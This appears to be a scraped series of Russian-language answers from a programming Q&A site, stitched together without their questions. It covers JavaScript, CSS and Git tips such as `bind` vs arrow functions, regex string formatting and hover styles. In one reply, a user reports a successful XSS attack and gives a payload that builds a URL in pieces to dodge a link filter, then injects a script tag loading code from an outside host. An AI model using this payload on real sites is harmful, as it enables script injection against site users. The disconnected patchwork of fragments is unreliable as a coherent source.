Даниил

Да, возможно.

css.github.io/csso

const isAllEven = (arr) => arr.every((x) => x % 2 === 0);

elem.addEventListener('dragstart', function(evt) {
  // прозрачная картинка вместо "призрака"
  const img = new Image();
  img.src = '';
  evt.dataTransfer.setDragImage(img, 0, 0);  
});

Ну и по событию drag можете двигать за курсором сам объект.

Ничего не лучше - показанные куски кода делают разное. Откройте консоль, выполните

(function() {
  function func(arg) {
    console.log(arg, this);
  }

  let arg = 1;

  const f1 = () => func(arg);
  const f2 = func.bind(this, arg);

  arg = 2;

  f1();
  f2();
}).call('hello, world!!');

, подумайте над полученными результатами.

Сами решайте, чего вам надо.

Между 1.0 и 1.1 бесконечное множество дробных чисел, каждое из которых может быть меньше предыдущего и стремится к нулю ;)

Только через @media запросы, так как auto-fill будет переносить по одному.

Насколько я знаю, _ в JS является валидным именем переменной, такую переменную можно создать, обращаться к ней и т.д. Так получается что я просто передаю в ф-цию неиспользуемую переменную?? Тоже самое как сделал бы a => { ... } ??

Именно так.

Лично я отдаю предпочтение () => { ... } по ряду причин:

1. Нет неиспользуемых переменных. Нет ругательств со стороны линтеров. Для рантайма это мизерное, но всё таки, улучшение производительности
   
2. Если говорить про TS, то тут вообще не рекомендуется синтаксис a => { ... }, только (a) => { ... }. И банально проще, когда у тебя весь код по разным проектам в одном стиле.
   
3. Мне так больше нравится чисто эстетически.
   

Это будет unused variables.
В целом ничего страшного и вполне допустимо.
Но если вы перфекционист, инспекции IDE будут мозолить вам глаз.
Кроме того, эти инспекции засоряют рабочее пространство.
Можно выключить, но тогда реально неиспользованный код можно оставить незамеченным.
Поэтому я всё же предпочитаю скобки.

Можете и не пользоваться. Если устраивают графические утилиты, то нет проблем.
Но как правило графические утилиты не предоставляют полного функционала и есть места где нет графического интерфейса.
Когда привыкаешь к командной строке, то графические примочки становятся не нужны.
А кроме того многие графические утилиты под капотом вызывают тот самый консольный гит.

str.replace(/(\d{2})(\d{2})/, '$1.$2.')
// или
str.replace(/(?=\d{4}$|\d{6}$)/g, '.')
// или
str.match(/(..)(..)(.+)/).slice(1).join('.')
// или
[ 0, 2, 4 ].map((n, i, a) => str.slice(n, a[i + 1])).join`.`
// или
[...str].reduce((acc, n, i) => acc + n + ([ ,'.',,'.' ][i] || ''))
// или
''.concat(...Array.from(str, (n, i) => '24'.includes(i) ? `.${n}` : n))

Даниил, Успешно провел XSS атаку)
Дело в том, что только при загрузке проверяется текст, и ссылки превращаются в элементы. Да еще и только в переделах 1 div. Просто создал переменную, куда по частям положил ссылку.

setTimeout(function(){   
     var my_awesome_script = document.createElement('script');
let a = "";
a = "http" + ":" + "//" +"somesite."+ "ru"+"/someURN";
my_awesome_script.setAttribute('src',a);
document.head.appendChild(my_awesome_script);}, 2000)

Нельзя, это было бы уязвимостью.

А зачем вообще тут JS, можно через таблицу стилей просто применять стили для дочерних элементов наведённых блоков:

.block:hover .price {
   ......
}
.block:hover .price span {
   ......
}
.block:hover button.buy {
   ......
}

По порядку:
1) Не совсем верно. Не рекомендуют оставлять дефолтный аутлайн. Рекомендуют менять стиль элемента, когда он в фокусе, чтобы пользователю было удобнее осуществлять навигацию и ориентироваться какой элемент в данный момент активный. И оставлять дефолтный аутлайн если Вы не хотите с этим заморачиваться.

2) Есть разные варианты. Вот из свежего: https://matthiasott.com/notes/focus-visible-is-here - тут Вы найдёте современное решение и как его распространить на старые браузеры.